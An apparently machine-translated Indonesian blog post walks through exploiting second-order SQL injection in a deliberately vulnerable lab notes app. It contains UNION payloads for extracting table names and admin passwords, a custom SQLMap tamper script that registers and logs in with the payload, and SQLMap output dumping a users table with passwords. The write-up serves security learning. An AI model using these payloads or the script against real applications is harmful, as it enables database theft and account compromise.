Memanfaatkan Injeksi SQL Orde Kedua

Feb 05 2023
Saya menemukan ini dan merasa sangat menarik tetapi juga sangat abstrak untuk dipahami dan sulit untuk dieksploitasi. Namun, mempelajari cara mengeksploitasi jenis kerentanan (SQLi) ini membantu saya memperluas perspektif, memperkuat keterampilan SQLMap, dan memberi saya pemahaman yang lebih baik tentang cara input pengguna diproses di dalam alur kerja aplikasi sisi server.

Saya menemukan ini dan merasa sangat menarik tetapi juga sangat abstrak untuk dipahami dan sulit untuk dieksploitasi. Namun, mempelajari cara mengeksploitasi jenis kerentanan (SQLi) ini membantu saya memperluas perspektif, memperkuat keterampilan SQLMap, dan memberi saya pemahaman yang lebih baik tentang cara input pengguna diproses di dalam alur kerja aplikasi sisi server.

Pada postingan kali ini saya akan menulis tentang :

  • SQLi urutan ke-2 secara umum,
  • prasyarat yang diperlukan,
  • cara mengidentifikasi,
  • cara mengeksploitasi secara manual dan
  • cara mengotomatiskan eksploitasi dengan skrip tamper SQLMap khusus.

Dasar

Dengan kata sederhana: Selama injeksi SQL urutan pertama, penyerang menggunakan parameter input (titik injeksi) untuk memanipulasi kueri SQL yang dilakukan oleh aplikasi server yang rentan. Server menggunakan input yang disediakan pengguna untuk membuat kueri SQL untuk membaca, menulis, memperbarui, menghapus, dll. Data dalam database backend. Jika input yang disediakan pengguna tidak ditangani dengan cara yang aman (sanitasi, validasi), penyerang dapat memberikan muatan yang memanipulasi kueri SQL yang dijalankan untuk melakukan tindakan jahat pada DBMS. Karakteristik SQLi urutan pertama adalah, bahwa kueri SQL berbahaya dijalankan sebagai akibat langsung dari injeksi muatan. Penyerang tidak perlu melakukan tindakan kedua untuk mengeksekusi muatan berbahaya.

Ada beberapa cara untuk mencegah injeksi SQL urutan pertama dengan mudah. Menggunakan pernyataan yang disiapkan atau pemrosesan input berparameter hanyalah beberapa di antaranya. Namun, pengembang saat ini mungkin menyadari bahwa input yang diberikan pengguna harus ditangani dengan cara yang aman. Namun mereka sering lupa menangani pengamanan data yang sudah tersimpan di database. Di sinilah urutan kedua SQLi berperan.

Untuk memperjelas, mari kita asumsikan skenario berikut: Sebuah aplikasi memungkinkan pengguna mengunggah gambar dan menyimpannya ke dalam database. Tabel memiliki kolom untuk:

  • gambar unik id,
  • gambar itu sendiri,
  • nama file gambar,
  • penghitung untuk tampilan gambar oleh pengguna aplikasi.

POST /upload HTTP/1.1
Host: www.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Length: 705

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="example.jpg"
Content-Type: image/jpeg

[binary data of the picture file goes here]
------WebKitFormBoundary7MA4YWxkTrZu0gW--

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture file from the HTTP POST request]
data = [binary data of the picture file from the HTTP POST request]

cursor.execute("INSERT INTO pictures (filename, data, views) VALUES (?, ?, ?)", (filename, data, 0))

conn.commit()
conn.close()

Seperti disebutkan sebelumnya, tabel database 'gambar' memiliki kolom ketiga 'tampilan'. Setiap kali pengguna melihat gambar, penghitung ini bertambah 1. Aplikasi juga mengembalikan penghitung ke pengguna, jika pengguna membuka tampilan detail gambar. Jadi, di beberapa titik kode, aplikasi mungkin terlihat seperti ini:

import sqlite3

conn = sqlite3.connect("pictures.db")
cursor = conn.cursor()

filename = [filename of the picture extracted from database]

cursor.execute("SELECT views FROM pictures WHERE filename = '" + filename + "';")
result = cursor.fetchone()
views = result[0]

conn.close()

Prasyarat SQLi Orde Kedua

Jadi mari kita simpulkan intro singkat ini dan tentukan prasyarat dan karakteristik SQLi Orde Kedua.

  • Aplikasi entah bagaimana memungkinkan penyimpanan masukan pengguna dalam aplikasi selama langkah pertama. Ini bisa di ruang memori aplikasi atau di DBMS backend misalnya.
  • Penyerang dapat melakukan langkah kedua untuk membuat aplikasi menjalankan kueri SQL yang menggunakan masukan pengguna yang disuntikkan pada langkah pertama.
  • Aplikasi tidak menggunakan teknik anti SQLi saat melakukan kueri (selama langkah 2) berdasarkan masukan pengguna yang berbahaya (dari langkah 1).

Mengidentifikasi kerentanan ini bisa sangat sulit, bergantung pada kompleksitas dan ketertelusuran arsitektur dan implementasi aplikasi.

Coba bayangkan alur eksekusi fungsionalitas aplikasi sambil melakukan tindakan yang dapat berinteraksi dengan DBMS backend.

Pertama, Anda tentu saja akan selalu menguji injeksi SQL urutan pertama klasik. Tetapi jika tidak ada yang berhasil dan Anda harus berasumsi bahwa beberapa pertahanan digunakan selama pemrosesan permintaan injeksi, coba pikirkan selangkah lebih jauh dan bayangkan pada titik mana input Anda mungkin diproses di berbagai fungsi/area aplikasi. Jika Anda mengidentifikasi beberapa kemungkinan titik eksekusi pesanan ke-2, coba bayangkan kueri yang dilakukan oleh aplikasi pada titik ini. Selanjutnya, buat muatan injeksi Anda sedemikian rupa sehingga mereka dapat mengeksploitasi kueri yang dilakukan oleh titik eksekusi urutan ke-2 dan periksa hasilnya.

Mengotomatiskan proses itu bisa sedikit rumit tetapi dapat membantu Anda menghemat banyak waktu. Namun, memiliki pemahaman yang baik tentang bagaimana alur eksekusi sisi server aplikasi, string kueri yang terpengaruh, dll. Terlihat seperti, mutlak diperlukan jika Anda ingin mengotomatiskan proses eksploitasi dengan alat seperti SQLMap. Jadi jangan langsung tembak di aplikasi dan berharap yang terbaik. Selami aplikasi sedalam mungkin sebelum menyiapkan perintah eksploitasi SQLMap terakhir untuk meningkatkan peluang untuk berhasil.

Analisis dan Eksploitasi Manual

Jadi, untuk mendemonstrasikan ini dalam contoh praktis, saya akan menggunakan aplikasi yang rentan (“Catatan Rentan”) dengan komponen aplikasi tipikal seperti:

  • Gabung,
  • mendaftar,
  • Profil,
  • ganti kata sandi,
  • mencatat,
  • keluar.

Pertama, saya menganalisis aplikasi dengan browser, untuk mengidentifikasi potensi titik injeksi SQL.

Fungsi pendaftaran pasti akan melakukan semacam kueri SELECT untuk memeriksa apakah nama pengguna sudah digunakan, dan kueri INSERT untuk mendaftarkan pengguna saya.

Fungsi pendaftaran

Saya membuat pengguna dan pindah ke halaman login. Halaman ini akan mengambil kredensial yang diberikan pengguna dan melakukan semacam pernyataan SELECT pada database untuk memverifikasi kredensial.

Halaman masuk

Setelah otentikasi, pengguna dialihkan ke halaman beranda. Nama pengguna ditampilkan di bagian atas halaman. Jadi, ada kemungkinan aplikasi melakukan kueri SELECT untuk mengekstrak nama pengguna dari database pada saat ini.

Halaman rumah

Dari titik awal ini, pengguna dapat melakukan tindakan terkait pengguna seperti membuat catatan pada titik akhir /notes. Nama pengguna disajikan di tempat kedua dalam tajuk "Selamat Datang". Ada kemungkinan aplikasi melakukan kueri SELECT untuk meminta nama pengguna lagi.

Fungsi untuk mencatat

Aplikasi kemungkinan besar akan melakukan semacam pernyataan INSERT pada database jika fungsi ini digunakan. Setelah mencatat, ini bisa dilihat di halaman yang sama, di bawah formulir.

Tampilkan catatan yang disimpan

Untuk menampilkan catatan, aplikasi entah bagaimana akan melakukan kueri SELECT pada database untuk meminta catatan yang disimpan.

Aplikasi ini juga menawarkan fungsionalitas "ubah-kata sandi", tetapi pesan di halaman menunjukkan bahwa fungsi ini mungkin tidak diterapkan.

Ubah fungsi kata sandi

Namun, jika diterapkan, kemungkinan besar akan melakukan semacam kueri UPDATE pada database. Saya ingin menghilangkan vektor itu terlebih dahulu, jadi saya mencoba fungsinya dan tidak berhasil. Dipastikan bahwa fungsi tersebut tidak diterapkan.

Mengikuti pendekatan saya untuk SQLi urutan pertama, hal berikutnya yang saya lakukan adalah membuat ringkasan dari semua kueri SQL potensial, yang mungkin saya ambil alih dengan menyuntikkan muatan berbahaya. Pada titik ini saya mencoba membayangkan bagaimana tampilan kueri ini. Saya tidak memiliki kepastian bahwa mereka benar-benar terlihat persis seperti ini, tetapi ada baiknya untuk memahami cara kerja backend.

Daftar

-- Check if the username is taken
SELECT username FROM users WHERE username=MY_INPUT_USERNAME

-- Insert the new username into the database
INSERT INTO users (username, password) VALUES (MY_INPUT_USERNAME,MY_INPUT_PASWORD)

-- Check if there is an user id where the provided credentials actually match. 
-- If an id is returned, the user is logged in. If not, the login attempt failed.
SELECT id FROM users WHERE username=MY_INPUT_USERNAME AND password=MY_INPUT_PASSWORD

-- Request the username from the database to display the name on the top of the home mage
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request the username from the database to display within the heading.
SELECT username FROM users WHERE id=USER_ID_REQUESTED_DURING_LOGIN

-- Request previous taken notes to display them on the page
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Inserts a new note into the database
INSERT INTO notes (heading, note, username) VALUES (MY_HEADING,MY_NOTE,USERNAME_QUERIED_FROM_DB)

Saatnya untuk pendekatan urutan ke-2.

Karena saya sudah menganalisis aplikasi secara detail, saya tidak perlu menganalisis aplikasi target lagi. Alih-alih, cukup untuk menjalani pengetahuan yang sudah saya peroleh tentang aplikasi dengan pandangan/pendekatan yang berbeda.

Kembali ke prasyarat SQLi urutan ke-2 yang disebutkan sebelumnya, saya harus bertanya pada diri sendiri pertanyaan:

Di mana aplikasi mengambil input pengguna saya, menyimpannya untuk penggunaan nanti, dan pada langkah selanjutnya, menggunakannya sebagai bagian dari kueri lain yang tidak berdampak langsung pada saya?

Kandidat yang mungkin adalah:

  • Nama pengguna : Saya meneruskan nama pengguna ke aplikasi selama proses pendaftaran. Nama pengguna kemudian diminta dari halaman /home dan dari halaman /notes untuk menampilkannya. Dan mungkin juga nama pengguna digunakan untuk menanyakan catatan tersimpan dari pengguna tertentu dari database.

Karena saya dapat melihat hasil kueri, saya tahu saya berurusan dengan skenario eksploitasi berbasis UNION. Mengikuti metodologi tipikal, pertama-tama saya harus mencari tahu berapa banyak kolom yang ditanyakan dari tabel dengan kueri asli. Untuk ini saya menyiapkan banyak muatan dan menganalisis hasilnya nanti.

-- The potentially vulnerable query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- Possible payloads
' UNION SELECT null--comment
' UNION SELECT null,null--comment
' UNION SELECT null,null,null--comment
' UNION SELECT null,null,null,null--comment
...

Muatan ditampilkan seperti yang diharapkan di bagian atas halaman beranda dan di atas halaman / catatan.

Selanjutnya, saya mencoba memasukkan catatan tetapi anehnya, catatan tersebut tidak ditampilkan oleh aplikasi setelahnya!

Sepertinya permintaan yang bertanggung jawab untuk meminta catatan dari database rusak. Ini tentu saja menunjukkan bahwa muatan kami berdampak pada kueri internal. Tetapi karena tidak ada yang ditampilkan, sepertinya kueri menghasilkan kesalahan atau tidak memberikan hasil. Hal ini tentu saja bisa terjadi jika kita tidak mengatur jumlah kolom yang benar dalam payload. Jadi mari lanjutkan dengan payload berikutnya dalam daftar hingga muncul perilaku yang berbeda.

Untungnya, muatan berikutnya berhasil! "Tidak Ada" dan "Tidak Ada" telah dikembalikan sebagai judul dan teks catatan.

Menyatukan potongan-potongan:

-- The assumed original query:
SELECT heading, note FROM notes WHERE username=USERNAME_QUERIED_FROM_DB

-- The payload
' UNION SELECT null,null--comment

-- The valid manipulated query executed against the database:
SELECT heading, note FROM notes WHERE username='' UNION SELECT null,null--comment

Saya mengadaptasi informasi dari lembar contekan dan membuat muatan yang berfungsi. Muatan baru:

' UNION SELECT null,sqlite_version()--comment

Mulai saat ini, alur eksploitasi SQLite yang khas (muatan dalam lembar contekan yang disediakan) dapat digunakan untuk membuang seluruh database. Mari coba beberapa payload lagi sebelum mengotomatiskan prosesnya.

Ekstrak semua nama tabel

' UNION SELECT null, GROUP_CONCAT(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--comment

      
                

' UNION SELECT null, GROUP_CONCAT(sql) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='users'--comment

      
                

' UNION SELECT null,GROUP_CONCAT(username) FROM users--comment

      
                

' UNION SELECT null, password FROM users WHERE username='admin'--comment

      
                

Eksploitasi Otomatis melalui SQLMap Tamper Script

Sampai saya mengerjakan skenario ini, saya hanya menggunakan SQLMap untuk mengeksploitasi SQLi urutan pertama. Saya bertanya-tanya apakah mungkin untuk mengeksploitasi SQLi urutan kedua juga. Pertama, saya menggunakan terminal saya untuk mencari opsi SQLMap yang terkait dengan eksploitasi urutan kedua dan menemukan ini:

┌──(kali㉿kali)-[~]
└─$ sqlmap -hh | grep -i second
    --delay=DELAY       Delay in seconds between each HTTP request
    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
    --second-url=SEC..  Resulting page URL searched for second-order response
    --second-req=SEC..  Load second-order HTTP request from file

Mari ingat langkah-langkah yang diperlukan untuk mengeksploitasi kerentanan secara manual:

  1. Injeksi muatan yang tidak diautentikasi ke dalam fungsi "register".
  2. Otentikasi melalui fungsi "login".
  3. Permintaan yang diautentikasi ke halaman "catatan".

Saya tahu bahwa SQLMap dapat mengeksekusi skrip python dengan opsi "- tamper". Saya memeriksa folder skrip tamper untuk melihat apakah saya dapat menemukan sesuatu yang berguna di sana yang dapat saya sesuaikan dengan kebutuhan saya. Sayangnya tidak.

┌──(kali㉿kali)-[~]
└─$ ls /usr/share/sqlmap/tamper 
0eunion.py               chardoubleencode.py          dunion.py                     ifnull2casewhenisnull.py     modsecurityversioned.py      plus2fnconcat.py   space2hash.py         space2randomblank.py    versionedkeywords.py
apostrophemask.py        charencode.py                equaltolike.py                ifnull2ifisnull.py           modsecurityzeroversioned.py  __pycache__        space2morecomment.py  sp_password.py          versionedmorekeywords.py
apostrophenullencode.py  charunicodeencode.py         equaltorlike.py               informationschemacomment.py  multiplespaces.py            randomcase.py      space2morehash.py     substring2leftright.py  xforwardedfor.py
appendnullbyte.py        charunicodeescape.py         escapequotes.py               __init__.py                  ord2ascii.py                 randomcomments.py  space2mssqlblank.py   symboliclogical.py
base64encode.py          commalesslimit.py            greatest.py                   least.py                     overlongutf8more.py          schemasplit.py     space2mssqlhash.py    unionalltounion.py
between.py               commalessmid.py              halfversionedmorekeywords.py  lowercase.py                 overlongutf8.py              sleep2getlock.py   space2mysqlblank.py   unmagicquotes.py
binary.py                commentbeforeparentheses.py  hex2char.py                   luanginx.py                  percentage.py                space2comment.py   space2mysqldash.py    uppercase.py
bluecoat.py              concat2concatws.py           htmlencode.py                 misunion.py                  plus2concat.py               space2dash.py      space2plus.py         varnish.py

Cara menulis skrip tamper khusus untuk sqlmap

Dari artikel tersebut, saya mendapatkan kerangka template berikut (menghapus re import) dan menyimpannya sebagai custom.py:

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return payload

Fungsi menerima muatan SQLMap melalui parameter fungsi dan mengembalikan muatan yang dirusak setelah manipulasi. Artikel tersebut tidak menjelaskan cara menggunakan **kwargs dalam konteks SQLMap, jadi saya bertanya pada ChatGPT dan mendapatkan jawaban yang bagus:

Ini seharusnya cukup untuk menyiapkan skrip tamper khusus untuk eksploitasi. Untuk komunikasi dengan server, saya menggunakan pustaka permintaan.

#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
import requests

def dependencies():
    pass

def tamper(payload, **kwargs):
    # Create Session object
    s = requests.Session()
    
    # Register user with SQLMap payload in username
    s.post('http://10.10.204.40:5000/challenge4/signup', data={"username": payload, "password": "anypass"})
    
    # Login malicious username
    res = s.post('http://10.10.204.40:5000/challenge4/login', data={"username": payload, "password": "anypass"})
    
    # Get headers from SQLMap
    headers = kwargs.get('headers', {})

    # Extract session cookie from response
    sessId = "session={}".format(s.cookies.get('session', None))

    # Pass session cookie to SQLMap cookie header
    headers['Cookie'] = sessId

    return payload

Menyatukan semua bagian, perintah SQLMap berikut dapat digunakan:

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:20:46 /2023-02-04/

[12:20:46] [INFO] loading tamper module 'custom'
[12:20:46] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login'. Do you want to follow? [Y/n] n
[12:20:50] [INFO] checking if the target is protected by some kind of WAF/IPS
[12:20:50] [CRITICAL] heuristics detected that the target is protected by some kind of WAF/IPS
are you sure that you want to continue with further target testing? [Y/n] Y
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:21:19] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[12:21:19] [INFO] testing for SQL injection on POST parameter 'username'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] n
[12:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[12:21:28] [WARNING] reflective value(s) found and filtering out
[12:21:38] [INFO] target URL appears to be UNION injectable with 2 columns
[12:21:39] [INFO] POST parameter 'username' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[12:21:39] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:22:04] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:22:04] [INFO] testing SQLite
[12:22:05] [INFO] confirming SQLite
[12:22:06] [INFO] actively fingerprinting SQLite
[12:22:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:22:06] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:22:06] [WARNING] your sqlmap version is outdated

[*] ending @ 12:22:06 /2023-02-04/

┌──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --current-user --tables
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:25:23 /2023-02-04/

[12:25:23] [INFO] loading tamper module 'custom'
[12:25:23] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:25:26] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:25:26] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:25:26] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:25:30] [INFO] confirming SQLite
[12:25:30] [INFO] actively fingerprinting SQLite
[12:25:30] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:25:30] [WARNING] on SQLite it is not possible to enumerate the current user
[12:25:30] [INFO] fetching tables for database: 'SQLite_masterdb'
[12:25:30] [WARNING] reflective value(s) found and filtering out
<current>
[2 tables]
+-------+
| notes |
| users |
+-------+

[12:25:30] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/10.10.204.40'
[12:25:30] [WARNING] your sqlmap version is outdated

[*] ending @ 12:25:30 /2023-02-04/

──(kali㉿kali)-[~]
└─$ sqlmap --url 'http://10.10.204.40:5000/challenge4/signup' --tamper custom.py --data 'username=anyuser&password=anypass' -p username --second-url 'http://10.10.204.40:5000/challenge4/notes' --dbms=sqlite --technique=U --no-cast --dump -T users
        ___
       __H__                                                                                                                                                                                                                                
 ___ ___[.]_____ ___ ___  {1.6.7#stable}                                                                                                                                                                                                    
|_ -| . [)]     | .'| . |                                                                                                                                                                                                                   
|___|_  [(]_|_|_|__,|  _|                                                                                                                                                                                                                   
      |_|V...       |_|   https://sqlmap.org                                                                                                                                                                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 12:26:59 /2023-02-04/

[12:26:59] [INFO] loading tamper module 'custom'
[12:26:59] [INFO] testing connection to the target URL
got a 302 redirect to 'http://10.10.204.40:5000/challenge4/login?next=http%3A%2F%2F10.10.204.40%3A5000%2Fchallenge4%2Fnotes'. Do you want to follow? [Y/n] n
[12:27:02] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=anyuser' UNION ALL SELECT CHAR(113,122,106,120,113)||CHAR(103,122,82,69,113,76,83,83,100,78,100,90,102,118,88,119,107,66,111,81,75,90,80,103,88,97,87,66,66,101,75,100,75,67,100,111,121,85,65,108)||CHAR(113,122,98,113,113),NULL-- nWes&password=anypass
---
[12:27:02] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[12:27:02] [INFO] testing SQLite
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] n
[12:27:04] [INFO] confirming SQLite
[12:27:04] [INFO] actively fingerprinting SQLite
[12:27:04] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[12:27:04] [INFO] fetching columns for table 'users' 
[12:27:04] [WARNING] reflective value(s) found and filtering out
[12:27:04] [INFO] fetching entries for table 'users'
Database: <current>
Table: users
[49 entries]
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | password                              | username                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+----+---------------------------------------+--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1  | rcLYWHCxeGUsA9tH3GNV                  | admin                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| 2  | asd                                   | dev                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| 3  | Summer2019!                           | amanda                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| 4  | 345m3io4hj3                           | maja      
...

Karena sifatnya, kerentanan ini dapat muncul di mana saja dalam aplikasi web. Bahkan jika pengembang menangani input pengguna dengan benar pada pandangan pertama, itu tidak berarti bahwa tindakan anti SQLi diterapkan di seluruh aplikasi. Di masa depan saya pasti akan membuka mata dan akan mencoba mengikuti dan memahami alur kerja aplikasi/database secara mendalam.

Saya harap Anda menikmati posting ini dan mungkin ini dapat membantu Anda dengan skenario serupa. Saya sangat menikmati menulis ini dan saya belajar banyak hal baru selama hari Sabtu ini. Tinggalkan komentar, sukai atau ikuti dan nantikan untuk hal-hal web lainnya dan segera beberapa topik infrastruktur AD.

DAMAI